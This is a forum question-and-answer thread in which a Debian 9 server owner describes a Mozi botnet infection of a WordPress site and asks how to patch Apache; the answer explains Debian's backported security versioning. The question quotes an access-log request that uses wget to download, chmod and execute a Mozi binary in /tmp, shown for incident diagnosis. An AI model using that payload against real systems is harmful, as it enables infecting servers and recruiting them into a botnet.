Upgrading apache2 On Debian 9 After Infection

Question

I recently discovered that my Wordpress blog running on Google Compute Engine has been infected by the Mozi malware and was for a long time part of their botnet (confirmed as I received a warning from Google for illegal attempts to attack third parties).

First let's see what is my VM running:

OS: Debian 9 Strech
Web Server: Apache 2.4.25
DB: MySQL 5.7.30
phpMyAdmin 5.0.2
Wordpress 5.5.1

Let me show you my findings:

Part of access.log of Apache2

115[.]61.116.192 - - [20/Oct/2020:10:53:15 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"

Notice that it tries to execute arbitary code by downloading a script with wget and then attempting to chmod 777 it.

Part of error.log of Apache2

chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/genindex.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/index.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/index.php': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/setup/index.php': Operation not permitted

They seem to have succeeded in executing the arbitary code. Although not root, one malicious php script had been chmoded successfully by user www-data.

I think it is quite obvious that I'm running a vulnerable version of apache and hackers use this exploit CVE-2019-0211, after making a search in the CVE database.

I was held in surprise when I saw that although I tried to upgrade apache, apt said that I'm running the latest version. I mean this is a 2019 exploit, and I'm running version 2.5.25 when apache is now in 2.5.46. After making a search, I read in this Unix SE post that Debian handles differently package releases (I admit that I don't use Debain that much to know their perception on things like that).

My question is: How can I update apache to patch my system ? As you may understand, I need a solution ASAP.

EDIT

Output of dpkg -l apache2:

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                   Version          Architecture     Description
+++-======================-================-================-==================================================
ii  apache2                2.4.25-3+deb9u9  amd64            Apache HTTP Server

Answer 1

You may see a problem where it isn't.

Debian is known to stick with the same upstream release of a package during a distribution's lifetime. This is their policy which has advantages in one scenario and disadvantages in another.

However, of course, Debian is fixing security issues in a timely manner. This may not be obvious, though, because they usually don't take the upstream release where the problem is fixed and make a new package from that. Instead, they are creating a specific patch which will fix the problem when applied to the "old" version their distribution includes.

For example, in Debian buster, with all distribution updates applied at the time of this writing, aptitude show apache2 produces output which contains the following line:

Version: 2.4.38-3+deb10u4

The first numbers (2.4.38) are the Apache version, while the second part (-3+deb10u4) can be understood as a sort of "patch level". That second part will change whenever they fix a security problem (as opposed to the first part, which is the actual Apache version number, and which will stay the same during that distribution's lifetime).

The other way around: Debian's source code of the Apache 2.4.38 package differs significantly from the original upstream Apache 2.4.38 source code, because the former has patches (security fixes) applied, although those fixes may have appeared in later upstream source code with a higher version number.

To make a long story short: Provided you apply all updates in a timely manner (apt-get update, aptitude dist-upgrade etc.), and provided you have configured apt correctly (mainly /etc/apt/sources.list or the files in /etc/apt/sources.d, respectively), you don't need to worry (and chances are that the hack happened via Wordpress, not via Apache).